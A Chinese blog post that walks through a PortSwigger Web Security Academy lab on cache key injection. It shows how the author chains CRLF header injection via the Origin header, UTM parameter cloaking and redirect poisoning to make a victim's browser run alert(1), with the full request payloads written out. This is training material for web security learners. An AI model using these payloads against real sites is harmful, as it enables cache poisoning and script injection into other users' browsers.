某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

        • 从业者-缓存设计缺陷-使用无键标头的Web缓存投毒
        • 从业者-缓存设计缺陷-通过无键的Cookie进行Web缓存投毒
        • 从业者-缓存设计缺陷-多标头Web缓存投毒
        • 从业者-缓存设计缺陷-使用未知标头的定向Web缓存投毒
        • 专家-缓存设计缺陷-通过严格的缓存标准来利用DOM漏洞
        • 专家-缓存设计缺陷-组合Web缓存投毒漏洞
        • 从业者-缓存实现缺陷-无键查询字符串
        • 从业者-缓存实现缺陷-无键查询参数
        • 从业者-缓存实现缺陷-参数伪装
        • 从业者-缓存实现缺陷-畸形GET请求
        • 从业者-缓存实现缺陷-URL规范化
        • 专家-缓存实现缺陷-缓存键注入
          • 题目
          • 实操
            • 分析请求
            • 缓存键分析
            • 发现XSS
            • XSS缓存键分析
            • 测试请求-1
            • 测试请求-2
            • 毒害资源导入URL
            • UTM参数伪装
            • 重新分析XSS缓存键
            • 最终利用
        • 专家-缓存实现缺陷-内部缓存投毒
      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • Web缓存投毒
carsaid
2023-12-30
目录

专家-缓存实现缺陷-缓存键注入

# 实验室:缓存键注入

# 题目

此实验室包含多个独立漏洞,包括缓存键注入。用户定期使用 Chrome 访问该网站的主页。

若要解决实验室问题,请结合这些漏洞,并在受害者的浏览器中执行alert(1)。请注意,你需要使用Pragma: x-get-cache-key标头来辅助本次实验。

提示

完成本实验需要了解其他几个 Web 漏洞。如果你在几个小时后仍然无法解决此问题,我们建议你先完成 Web 安全学院 (opens new window)上的所有其他主题。

实验室-专家

缓存键注入 >>

- name: 实验室-专家
  desc: 缓存键注入 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-cache-key-injection
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

映入眼帘的是一个登录页面。嗯?

Not Found Image

# 分析请求

访问登录页面时,会加载 js 文件/js/localize.js,并传递两个参数lang=en和cors=0。

/js/localize.js?lang=en&cors=0
1
Not Found Image

查看 js 文件内容,一个简单的功能,设置 Cookie 中的lang参数。

所设置的 Cookie 会受 GET 参数lang=en的影响。

Not Found Image

直接访问根目录会发生什么情况?

第一个请求,访问根目录,重定向至/login?lang=en路径。

Not Found Image

第二个请求,重定向至/login?lang=en,然后由于路径规范化,又被重定向至/login/?lang=en路径下。

前两个请求(重定向)都是具有缓存的,第三个请求是正常访问页面,没有缓存。

Not Found Image

然后我发现,如果在根目录/传递一个空的查询参数(例如?i),则不会发生重定向。

Not Found Image

# 缓存键分析

根据题目中的提示,我们可以通过Pragma: x-get-cache-key标头来显示某个页面的缓存键。

请求路径/js/localize.js?lang=en&cors=0时,缓存键为/js/localize.js?lang=en&cors=0$$。

缓存键前面的是路径,那么符号$$应该就是教程中提到的分隔符。那么分隔符的后面是什么呢?

Not Found Image

根据所学,添加一个Origin标头,发现分隔符后方出现了origin=值。

由此得出缓存键的组成方式:

缓存键 = <请求路径> + $$ + <origin=Origin标头的值>
1
Not Found Image

然后我将cors参数修改为1,发现响应中多出了一个标头Access-Control-Allow-Origin: 值。这有什么用呢?

cors参数只接受0和1两个参数值,用于控制响应标头Access-Control-Allow-Origin是否启用。

Not Found Image

# 发现XSS

Access-Control-Allow-Origin标头会反馈Origin标头的值。

在 CSRF 主题的某个实验室中,我们曾向 Cookie 中注入符号%0d%0a使其换行,这样就可以注入新的响应标头。

我们在这里也尝试一下:

Origin: abc.com%0d%0aSet-Cookie: abc=123
1

发送请求,成功使Access-Control-Allow-Origin标头换行,并且注入了Set-Cookie响应标头。

Not Found Image

如果想要插入 XSS 载荷,则需要换行两次:

Origin: abc.com%0d%0a%0d%0aalert(1)
1

嗯?怎么没响应内容?

Not Found Image

噢,经过查询,如果要在响应请求中显示 Body 部分,则需要添加Content-Length(数据长度)标头。

先换行一次,添加标头Content-Length: 8指定数据长度为 8 个字符。

然后换行两次,注入 XSS 载荷。

Origin: abc.com%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
1

这次成功了。

Not Found Image

# XSS缓存键分析

再次添加Pragma: x-get-cache-key标头,看看造成 XSS 时的缓存键是什么样子的。

得到缓存键:

/js/localize.js?lang=en&cors=1$$origin=...
1
Not Found Image

# 测试请求-1

根据所学,在Origin标头最后面添加分隔符$$:

Origin: ...$$
1

然后发送请求,得到缓存键:

  • 路径是/js/localize.js?lang=en&cors=1
  • 分隔符是$$
  • Origin 标头是origin=...$$
路径 + $$ + origin=...$$

/js/localize.js?lang=en&cors=1$$origin=...$$
1
2
3
Not Found Image

# 测试请求-2

随后删除Origin标头,在 GET 参数最后面添加分隔符$$,在分隔符后面添加origin=...:

/js/localize.js?lang=en&cors=1$$origin=...
1

然后发送请求,得到缓存键:

  • 路径是/js/localize.js?lang=en&cors=1$$origin=...
  • 分隔符是$$
  • Origin 标头是空的,所以不会添加
路径 + $$

/js/localize.js?lang=en&cors=1$$origin=...$$
1
2
3

看出来了吗,第一和第二个测试请求的缓存键是相同的!所以它们会命中同一个缓存。

  • 第一个请求带有Origin标头,会造成 XSS 漏洞,并引出有毒的缓存响应
  • 第二个请求由于缓存键相同,所以会命中上一个有毒的缓存响应,得到alert(1)
Not Found Image

此时如果你通过浏览器访问以下 URL,则会看到alert(1)。

/js/localize.js?lang=en&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
1
Not Found Image

# 毒害资源导入URL

但现在有一个问题,网站主页引入的资源文件是/js/localize.js?lang=en&cors=0。

而我们毒害的是/js/localize.js?lang=en&cors=1,参数cors是一个缓存键(有键),参数0和1会命中不同的缓存。

所以我们需要将网站主页的cors变成1,以便造成 XSS 漏洞。

Not Found Image

经过尝试,参数lang会实时反馈在响应当中,但cors参数不会。

cors始终为0。

Not Found Image

记得有一个跳转请求,它会重定向 URL,将/login?变成/login/?。

跳转过去的话能否影响到cors参数?

Not Found Image

cors纹丝不动,还是0。

Not Found Image

# UTM参数伪装

随后我瞄了一小眼答案(我似废物),发现了问号的用法。

发现是利用无键参数utm_content + 问号?解析差异 + 覆盖cors参数。

我之前也发现了utm_content无键参数,但是想不出来咋利用。


如果请求以下路径,用符号&来分隔参数,则utm_content会被视为独立的参数。该参数会被排除,无法反馈在即时响应当中。

/login/?lang=en&utm_content=ccc
1

如果请求以下路径,用符号?来分隔参数,则utm_content会被视为lang参数的一部分。会被反馈在即时响应的 URL 资源导入当中。

/login/?lang=en?utm_content=ccc
1

构造以下路径:

  • 用符号?来分隔utm_content参数,使其被视为lang参数的一部分,能够反馈在即时响应当中
  • utm_content的值%26cors=1会被带入到 js 资源导入的 URL 当中,作为参数cors=1发送
  • utm_content的值%23会被带入到 js 资源导入的 URL 当中,被解析为锚点符号#,用于忽略原有的cors=0参数
/login/?lang=en?utm_content=ccc%26cors=1%23
1

如图所示,通过utm_content参数注入新的cors=1参数,并使用锚点符号#忽略掉原有的cors=0参数。

Not Found Image

访问以下路径,看看会发生什么。

/login/?lang=en?utm_content=ccc%26cors=1%23
1

和预料中的一样,成功地将资源导入 URL 的cors=0变为了cors=1。

Not Found Image

# 重新分析XSS缓存键

由于我们往资源导入 URL 中注入了utm_content参数,所以要重新构造对应的缓存键。好让资源导入时命中有毒的缓存。

如图所示,向 js 文件传递?utm_content=...&时,这段字符串会直接被替换为单个问号?。

Not Found Image

之前分析的 XSS 缓存键可以不改动,只需要在两次请求的 URL 中增加字符串?utm_content=ccc&即可。

Not Found Image

同时还有一个要点,在向主页投毒时,原有的 URL 编码%0d%0a需要进行第二次 URL 编码。

请求:

/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
1

加载:

/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0

锚点被忽略
/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
1
2
3
4

命中缓存:

X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
1
Not Found Image

投毒请求:

GET /js/localize.js?lang=en?utm_content=ccc&cors=1 HTTP/2
Host: 0ac30060032bb5c280530dfe002000be.web-security-academy.net
Origin: %0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
1
2
3

命中缓存:

  • ?utm_content=ccc&被转换为?
  • 添加缓存分隔符$$
  • 添加origin参数
  • 为origin赋值
/js/localize.js?lang=en?utm_content=ccc&cors=1

/js/localize.js?lang=en?cors=1
/js/localize.js?lang=en?cors=1$$
/js/localize.js?lang=en?cors=1$$origin=
/js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
1
2
3
4
5
6

缓存键:

X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
1

使用以上请求进行投毒。

Not Found Image

然后访问以下 URL:

/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
1

访问之后就会加载有毒的 js 资源文件,执行alert()。

Not Found Image

已经能够在登录页面看到弹框了。

Not Found Image

# 最终利用

第一个投毒-造成XSS

Not Found Image

第二个投毒-将受害者重定向至特定的URL

还记得访问根目录/时会产生重定向吗?

  • 访问/
  • 重定向至/login?lang=...
  • 二次重定向至/login/?lang=...

对第一次重定向进行投毒,使其重定向到带有 UTM 参数伪装的 URL:

/login?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
1

由于解析差异,参数utm_content不会被包含在缓存键中。

X-Cache-Key: /login?lang=en$$
1

所以请求路径/login?lang=...和/login?lang=...?utm_content=...会命中同一个缓存响应。

Not Found Image

访问网站根目录,成功执行alert()。

Not Found Image

看看产生了哪些请求。

第一个请求,受害者访问网站根目录/,被重定向至登录页面/login?lang=en

Not Found Image

第二个请求,命中有毒的缓存响应。

原本应该重定向至/login/?lang=en,但缓存响应已被我们毒害,所以受害者会被重定向至/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23。

Not Found Image

第三个请求,受害者被重定向至/login/?lang=en?utm_content=ccc%26cors=1......省略。

然后该页面会根据 GET 参数,加载对应的 js 资源文件/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0。

Not Found Image

第四个请求,命中有毒的缓存响应。

受害者的script标签加载恶意 js 资源文件,执行了alert(1)。

Not Found Image

实验完成。

Not Found Image
编辑 (opens new window)
从业者-缓存实现缺陷-URL规范化
专家-缓存实现缺陷-内部缓存投毒

← 从业者-缓存实现缺陷-URL规范化 专家-缓存实现缺陷-内部缓存投毒→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式